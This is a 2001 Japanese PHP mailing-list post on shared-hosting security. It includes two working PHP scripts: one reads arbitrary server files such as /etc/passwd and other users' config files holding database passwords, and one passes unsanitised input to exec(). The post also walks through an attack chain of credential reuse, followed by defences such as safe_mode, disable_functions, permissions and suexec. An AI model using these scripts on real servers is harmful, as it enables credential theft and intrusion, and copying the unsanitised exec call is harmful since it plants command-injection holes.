[PHP-users 3867] Re: PHPのセキュリティモデルについて

SAKAMOTO php-users@php.gr.jp
Mon, 26 Nov 2001 19:51:25 +0900


坂本です。

日本語は私の第3外国語なのでたまに勘違いしたりします。
すみません。PHPを専門に扱っているセキュリティの情報は
英語/韓国/フランス/ドイツサイトまで探してみましたが、専門的な
サイトは見つかりませんでした。

一応PHPでシステムレベルで考えられるものをまとめて見ました。
下ののソースは社会的にあまり好ましくない影響を与えるのかも
知れませんが、あえて投稿します。くれぐれも悪用しないでください。

まず結構問題になる可能性のあるfopen関数による情報流出について
下記のようなPHPスクリプトを作ってみました。
ウェブホスティング事業者は注意して読んでみてください。

phpのfopen関数を使うとnobodyファイルを読み込んで
確認することが出来ます。

まず 1.phpファイルと 2.php ファイルを自分のPHPアカウントに
アップロードします。そして 1.phpを実行してテキスト入力モードで
/etc/passwd と入力してクリックするとアカウントと絶対パスが
表示されます。
(passwdファイルはnobody権限で読み込むことが出来るからです。)

そしてアカウントでサーバのホームページに接続してみます。
アカウントがrisapapaの場合 www.osasl.com/~risapapa/
のように接続してみます。

そしてどんなウェブアプリケーションかを確認してconfig.phpなどの
ファイルを開いてみます。

するとMYSQlなどのDB名やパスワードを見ることが出来ます。
また httpd.conf ファイルを開いてみるとサーバに設置された
すべてのドメイン設定情報も得ることが出来ます。

アカウントとDB名を同じにして使う場合とDBパスワードと
アカウントパスワードが同じ場合はTELNETサービスが
利用できるのであればそのアカウントにもアクセスできます。

LINUXシステムについて少しでも知っている人であればだれでも
サーバの隅々まで見ることができます。


1.php
----------------------------------------
<?
if($file){
$fp = fopen($file, "r");
if(!$fp){
echo ("読み込むことができません。");
}
$contents = fread($fp, filesize($file));
fclose($fp);
echo "contents = $contents";
} else {
echo ("
    <html>
<form method=post action=$PHP_SELF>
読み込むファイルの絶対パスとファイル名を入力してください。<br>
<input type=text name=file>
<input type=submit>
</form>
</html>
");
}
?>
----------------------------------------

2.php
----------------------------------------
<?
if($dir){
exec("dir -al $dir",$contents,$error);
if($error){
echo "このディレクトリは見ることができません。";
} else {
while (list ($key, $val) = each ($contents)) {
    echo "$key => $val<br>";
}
}
} else {
exec("pwd",$pwd,$error);
echo ("現在のパスは $pwd[0] です。 <br>");
echo ("
    <html>
<form method=post action=$PHP_SELF>
読み込むディレクトリの絶対パスを入力してください。<br>
<input type=text name=dir>
<input type=submit>
</form>
</html>
");
}
?>
----------------------------------------

防止策としてはソラリスで使われているacl権限を使用すれば
rw-------+ のようにファイルのパーミッションが変更され
自分のアカウント以外は見ることが出来ないようです。また
PHP.iniを修正してsafe_modeをOnに指定すると自分のアカウント
以外のファイルは開くことは出来なくなります。ただし
ファイルのアップロード時に既に作られたnobodyの777
パーミッションの場合でもアップロードが出来ません。ほかの方法で
臨時アップロードファイルのディレクトリを/tmpに変更して使用する
ことができるようですが、マルティユーザ環境では問題もあります。
簡単にphp.iniでdisable_functions = fopenにしてfopenを遮断し、
可能であればdisable_functions = fopen , execにする方法も
あるかもしれません、それからはexecを使用しなければならない
場合は dir, ls , llなどのコマンドのパーミッションを770にします。
ここまでは一般的に考えられることを書いてみました。

さらに具体的には...
下のように整理してみましたが、根本的な解決策は
未だに見つかりません。


<まとめ>

(1). telnet, ftp などのログイン問題

   この問題はあるユーザがサーバにログインして他のユーザの
   php scriptを読み込むことを防ぐ方法です。これは完璧な
   解決策があります。

   solarisの場合setfaclを使用することができますが、
   単純に permission の設定で解決することが出来ます。
   Linuxでも問題はないです。下にその方法を紹介します。

   apache の user, group が其々 nobody, nobody として
   web hosting directory は /home/httpd の下にあると
   仮定します。ユーザのアカウントが aaa, bbb, とすると
   次のように permission を設定します。

   rwx--x--x    nobody nobody    /home/httpd
   rwx--x---    aaa    nobody    /home/httpd/aaa
   rwx--x---    bbb    nobody    /home/httpd/bbb

   例えばアカウントが aaa の php script sample.php の permissionが
   次のようだとします。

   rw-rw-r--    aaa    aaa     /home/httpd/aaa/sample.php

   この場合 sample.php が 664 としても nobody group に属する
   ID (つまり apache)のみこのファイルを読むことができます。他の ID,
   例えば bbb, には /home/httpd/aaa がロックされているため
   sample.php を読み込むことは出来なくなります。


(2). fopen() 防止問題

   あるアカウントで php スクリプトの中にfopen()と同じような
   コマンドを入れて他のアカウントの php 文書を読み込む問題です。

   上の (1) の問題とは別の問題です。
   ((1)のように処理したとしてもこの問題はまだ解決されていません。)

   (a) php の safe_mode を使用する方法

    php.ini で safe_mode を On にすると実行中の php
    スクリプトは所有者とそのスクリプト内で fopen()を
    しようとするファイルの所有者と同じであるかをチェックし
    同じ場合のみ許可されます。

   safe_mode が On の状態で php スクリプトでファイルを
   作成する場合すべてのファイルは nobody の所有者になります。
   ディレクトリも同じです。

   あまり完璧(?)に塞いでしまって問題が生じる場合もあります。
   それから Upload / Download に問題があります。

   Upload する場合は Upload directory が
   その php スクリプト所有者(aaa)が所有しなければならないし
   apacheの User である nobody も書き込み出来なければなりません。
   実際作られるファイルは nobody のものになります。

   しかしこのファイルの所有者が nobody であるためアカウント aaa に
   属する php スクリプトでは fopen() でこのファイルを読み込むことが
   出来ない現象が発生します。したがってこのファイルを download
   出来るようにするためには html 文書に入れて直接 download
   が出来るようにしなければなりません。

   運営上の方法をとることもあります。
   webhosting サーバの場合掲示板などはシステムで提供し
   (つまり掲示板スクリプトは nobody の所有にします。)
   各アカウントからの upload は禁止する方法です。

   私はセキュリティ面を重視する場合は
   これが一番安全であるとおもいますが.......

   結論はまだ解決策は完全ではないことです。私のレベルでは
   php をもっと安全に使うという方法は未だに見つかりません。


   (b) suexec, cgi を使用する方法

   virtual hostを設定しSUEXECを使用する方法です。
   それからPHPスクリプトをCGIモードで作動させます。
   それからこのスクリプトを自分のみ読めるように
   permissionを 700にします。するとCGIを実行するAPACHEは
   権限を該当するUIDにswitchingするため他のアカウントのPHP文書は
   読み込むことは出来ません。(700であるため)

   この方法は完璧に近いですが、次のような短所があります。

   それは MODULE 方式ではなく CGI 方式であるため、スピードが
   落ちるというのと SUEXEC をうまく設定しなければならなりません。
   また大量の web hosting (VirtualDocumentRootを使用する場合)は
   難しいということです。


   (c) disable_functions を使用する方法

   この方法で色んな関数を禁止することが出来ます。
   fopen() 以外にも危険なのはいくらでもあります。
   例えば popen(), readfile() , ....
   危険なものはすべて禁止すれば解決できますが
   この場合必要な多くの機能を諦めなければなりません。

この問題については今も解決策を探っているところです。


RisaPapa
http://www.osask.net


----- Original Message -----
From: "Ryuichiro Munechika" <munetika@niji-net.com>
To: <php-users@php.gr.jp>
Sent: Monday, November 26, 2001 4:00 PM
Subject: [PHP-users 3864] Re: PHPのセキュリティモデルについて


>  まいパパです
>  こんにちは^^
>
> >早川仁です。
>
>   ども、ご無沙汰です^^
>
> >> このようにソースの書き方によってほとんどのセキュリティ問題は
> >> 解決できるのではないかと思います。
> >
> >そういうことではなくて、例え危険な書き方をしても、スペック上そのようなア
クセス
> >を許可しない(例えばローカルのファイルにアクセスできないなど)ということを
> >言ってるのでは?
>
>   私も元々質問してきた方に対してどのような意図でかは確認していない
> のですが、おそらく早川さんのおっしゃるようなリソースについてのアク
> セス権限等のことを聞いているのだと理解しています。
>
>  さかもとさんにお答えいただいているような「ソースの書き方によるセキュ
> リティ問題」も他の方には質問されたのですが^^;
>
> --
> 宗近 龍一郎(まいパパ)
> 大阪府寝屋川市
> munetika@niji-net.com
> http://www.niji-net.com
> 緊急用:phs@niji-net.com(PHSにも転送されます)
> _______________________________________________
> PHP-users mailing list
> PHP-users@php.gr.jp
> http://ns1.php.gr.jp/mailman/listinfo/php-users
>